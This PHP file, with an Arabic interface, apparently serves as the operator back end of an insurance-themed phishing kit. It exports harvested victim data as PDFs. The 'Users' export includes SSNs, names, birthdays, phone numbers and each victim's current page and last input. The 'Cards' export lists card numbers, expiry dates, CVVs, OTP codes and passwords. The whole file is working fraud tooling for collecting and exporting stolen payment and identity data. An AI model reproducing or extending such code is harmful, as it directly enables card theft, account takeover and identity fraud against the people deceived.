<?php

session_start();

// Include Initialization file
require_once('init.php');

if (!$User->isLoggedIn()) {
    $User->redirect('login.php');
}

// تصدير PDF
if (isset($_POST['export_users']) || isset($_POST['export_cards']) || isset($_POST['export_all'])) {
    
    
    // إنشاء PDF مع دعم العربي
    $pdf = new TCPDF('L', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->SetCreator('Dashboard');
    $pdf->SetAuthor('Admin');
    $pdf->setPrintHeader(false);
    $pdf->setPrintFooter(false);
    $pdf->SetAutoPageBreak(true, 15);
    $pdf->SetFont('dejavusans', '', 9);
    
    if (isset($_POST['export_users']) || isset($_POST['export_all'])) {
        $users = $User->fetchAllUsers();
        
        $pdf->AddPage();
        $pdf->SetFont('dejavusans', 'B', 16);
        $pdf->Cell(0, 15, 'Users Data', 0, 1, 'C');
        $pdf->Ln(5);
        $pdf->SetFont('dejavusans', '', 8);
        
        // رأس الجدول
        $header = ['ID', 'SSN', 'Name', 'Birthday', 'Phone', 'Page', 'Last Input', 'Insurance', 'Price', 'Date'];
        $widths = [10, 30, 35, 25, 30, 25, 30, 40, 25, 30];
        
        $pdf->SetFillColor(44, 62, 80);
        $pdf->SetTextColor(255, 255, 255);
        $pdf->SetFont('dejavusans', 'B', 8);
        
        for ($i = 0; $i < count($header); $i++) {
            $pdf->Cell($widths[$i], 8, $header[$i], 1, 0, 'C', true);
        }
        $pdf->Ln();
        
        $pdf->SetTextColor(0, 0, 0);
        $pdf->SetFont('dejavusans', '', 7);
        
        $fill = false;
        if ($users) {
            foreach ($users as $row) {
                if ($fill) {
                    $pdf->SetFillColor(241, 245, 249);
                } else {
                    $pdf->SetFillColor(255, 255, 255);
                }
                
                $pdf->Cell($widths[0], 7, $row->id, 1, 0, 'C', true);
                $pdf->Cell($widths[1], 7, isset($row->ssn) ? $row->ssn : '', 1, 0, 'C', true);
                $pdf->Cell($widths[2], 7, isset($row->username) ? $row->username : '', 1, 0, 'C', true);
                $pdf->Cell($widths[3], 7, isset($row->date) ? $row->date : '', 1, 0, 'C', true);
                $pdf->Cell($widths[4], 7, isset($row->phone) ? $row->phone : '', 1, 0, 'C', true);
                $pdf->Cell($widths[5], 7, isset($row->page) ? $row->page : '', 1, 0, 'C', true);
                $pdf->Cell($widths[6], 7, isset($row->message) ? $row->message : '', 1, 0, 'C', true);
                $pdf->Cell($widths[7], 7, isset($row->insurance_company) ? $row->insurance_company : '', 1, 0, 'C', true);
                $pdf->Cell($widths[8], 7, isset($row->insurance_price) ? $row->insurance_price : '', 1, 0, 'C', true);
                $pdf->Cell($widths[9], 7, isset($row->created_at) ? $row->created_at : '', 1, 0, 'C', true);
                $pdf->Ln();
                
                $fill = !$fill;
            }
        }
    }
    
    if (isset($_POST['export_cards']) || isset($_POST['export_all'])) {
        $cards = $User->fetchAllCards();
        
        $pdf->AddPage();
        $pdf->SetFont('dejavusans', 'B', 16);
        $pdf->Cell(0, 15, 'Cards Data', 0, 1, 'C');
        $pdf->Ln(5);
        $pdf->SetFont('dejavusans', '', 8);
        
        $header = ['ID', 'Card Number', 'Name', 'Exp', 'CVV', 'OTP', 'Password', 'Insurance', 'Price', 'Date'];
        $widths = [10, 40, 35, 20, 20, 25, 30, 40, 25, 35];
        
        $pdf->SetFillColor(44, 62, 80);
        $pdf->SetTextColor(255, 255, 255);
        $pdf->SetFont('dejavusans', 'B', 8);
        
        for ($i = 0; $i < count($header); $i++) {
            $pdf->Cell($widths[$i], 8, $header[$i], 1, 0, 'C', true);
        }
        $pdf->Ln();
        
        $pdf->SetTextColor(0, 0, 0);
        $pdf->SetFont('dejavusans', '', 7);
        
        $fill = false;
        if ($cards) {
            foreach ($cards as $row) {
                if ($fill) {
                    $pdf->SetFillColor(241, 245, 249);
                } else {
                    $pdf->SetFillColor(255, 255, 255);
                }
                
                $pdf->Cell($widths[0], 7, $row->id, 1, 0, 'C', true);
                $pdf->Cell($widths[1], 7, isset($row->cardNumber) ? $row->cardNumber : '', 1, 0, 'C', true);
                $pdf->Cell($widths[2], 7, isset($row->cardName) ? $row->cardName : '', 1, 0, 'C', true);
                $pdf->Cell($widths[3], 7, isset($row->year) ? $row->year : '', 1, 0, 'C', true);
                $pdf->Cell($widths[4], 7, isset($row->cvv) ? $row->cvv : '', 1, 0, 'C', true);
                $pdf->Cell($widths[5], 7, isset($row->otp) ? $row->otp : '', 1, 0, 'C', true);
                $pdf->Cell($widths[6], 7, isset($row->password) ? $row->password : '', 1, 0, 'C', true);
                $pdf->Cell($widths[7], 7, isset($row->insurance_company) ? $row->insurance_company : '', 1, 0, 'C', true);
                $pdf->Cell($widths[8], 7, isset($row->insurance_price) ? $row->insurance_price : '', 1, 0, 'C', true);
                $pdf->Cell($widths[9], 7, isset($row->created_at) ? $row->created_at : '', 1, 0, 'C', true);
                $pdf->Ln();
                
                $fill = !$fill;
            }
        }
    }
    
    $filename = '';
    if (isset($_POST['export_users'])) $filename = 'users_data_' . date('Y-m-d_H-i-s') . '.pdf';
    elseif (isset($_POST['export_cards'])) $filename = 'cards_data_' . date('Y-m-d_H-i-s') . '.pdf';
    else $filename = 'all_data_' . date('Y-m-d_H-i-s') . '.pdf';
    
    $pdf->Output($filename, 'D');
    exit;
}

?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">

<head>
    <meta charset="utf-8">
    <title>تصدير البيانات</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <link href="img/favicon.ico" rel="icon">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet">
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/style.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Cairo:wght@200..1000&family=Rubik:ital,wght@0,300..900;1,300..900&display=swap" rel="stylesheet">
    <style>
        * { font-family: "Cairo", sans-serif; }
        .export-card {
            background: #fff;
            border-radius: 15px;
            box-shadow: 0 4px 15px rgba(0,0,0,0.1);
            padding: 30px;
            margin-bottom: 20px;
            text-align: center;
            transition: transform 0.2s;
        }
        .export-card:hover {
            transform: translateY(-5px);
        }
        .export-card i {
            font-size: 48px;
            margin-bottom: 15px;
        }
        .export-card h5 {
            margin-bottom: 10px;
            font-weight: 700;
        }
        .export-card p {
            color: #666;
            margin-bottom: 20px;
        }
        .btn-export {
            padding: 10px 30px;
            border-radius: 10px;
            font-weight: 600;
            font-size: 16px;
        }
    </style>
</head>

<body>
    <div class="content open">
        <!-- Sidebar Start -->
        <div class="sidebar pe-4 pb-3">
            <nav class="navbar bg-light navbar-light">
                <a href="index.php" class="navbar-brand mx-4 mb-3">
                    <h3 class="text-primary"><i class="fa fa-hashtag me-2"></i>DASHMIN</h3>
                </a>
                <div class="d-flex align-items-center ms-4 mb-4">
                    <div class="position-relative">
                        <img class="rounded-circle" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
                        <div class="bg-success rounded-circle border border-2 border-white position-absolute end-0 bottom-0 p-1"></div>
                    </div>
                    <div class="ms-3">
                        <h6 class="mb-0">John Doe</h6>
                        <span>Admin</span>
                    </div>
                </div>
                <div class="navbar-nav w-100">
                    <a href="index.php" class="nav-item nav-link"><i class="fa fa-tachometer-alt me-2"></i>Dashboard</a>
                </div>
                <div class="navbar-nav w-100">
                    <a href="cards.php" class="nav-item nav-link"><i class="fa fa-tachometer-alt me-2"></i>Cards</a>
                </div>
                <div class="navbar-nav w-100">
                    <a href="export.php" class="nav-item nav-link active"><i class="fa fa-download me-2"></i>Export</a>
                </div>
            </nav>
        </div>
        <!-- Sidebar End -->

        <!-- Navbar Start -->
        <nav class="navbar navbar-expand bg-light navbar-light sticky-top px-4 py-0">
            <a href="index.php" class="navbar-brand d-flex d-lg-none me-4">
                <h2 class="text-primary mb-0"><i class="fa fa-hashtag"></i></h2>
            </a>
            <a href="#" class="sidebar-toggler flex-shrink-0">
                <i class="fa fa-bars"></i>
            </a>
            <div class="navbar-nav align-items-center ms-auto">
                <div class="nav-item dropdown">
                    <a href="#" class="nav-link dropdown-toggle" data-bs-toggle="dropdown">
                        <img class="rounded-circle me-lg-2" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
                        <span class="d-none d-lg-inline-flex">John Doe</span>
                    </a>
                    <div class="dropdown-menu dropdown-menu-end bg-light border-0 rounded-0 rounded-bottom m-0">
                        <a href="logout.php" class="dropdown-item">Log Out</a>
                    </div>
                </div>
            </div>
        </nav>
        <!-- Navbar End -->

        <!-- Export Content -->
        <div class="container-fluid pt-4 px-4">
            <h3 class="mb-4"><i class="fa fa-file-pdf me-2"></i>تصدير البيانات PDF</h3>
            <div class="row">
                <div class="col-md-4">
                    <div class="export-card">
                        <i class="fa fa-users text-primary"></i>
                        <h5>بيانات المستخدمين</h5>
                        <p>تصدير جميع بيانات المستخدمين (الهوية، الاسم، الهاتف، شركة التأمين، السعر)</p>
                        <form method="POST">
                            <button type="submit" name="export_users" class="btn btn-primary btn-export">
                                <i class="fa fa-file-pdf me-2"></i>تحميل PDF
                            </button>
                        </form>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="export-card">
                        <i class="fa fa-credit-card text-success"></i>
                        <h5>بيانات البطاقات</h5>
                        <p>تصدير جميع بيانات البطاقات (رقم البطاقة، CVV، OTP، شركة التأمين، السعر)</p>
                        <form method="POST">
                            <button type="submit" name="export_cards" class="btn btn-success btn-export">
                                <i class="fa fa-file-pdf me-2"></i>تحميل PDF
                            </button>
                        </form>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="export-card">
                        <i class="fa fa-database text-danger"></i>
                        <h5>جميع البيانات</h5>
                        <p>تصدير كل البيانات (المستخدمين + البطاقات) في ملف واحد</p>
                        <form method="POST">
                            <button type="submit" name="export_all" class="btn btn-danger btn-export">
                                <i class="fa fa-file-pdf me-2"></i>تحميل PDF
                            </button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- JavaScript Libraries -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
    <script src="js/main.js"></script>
</body>

</html>
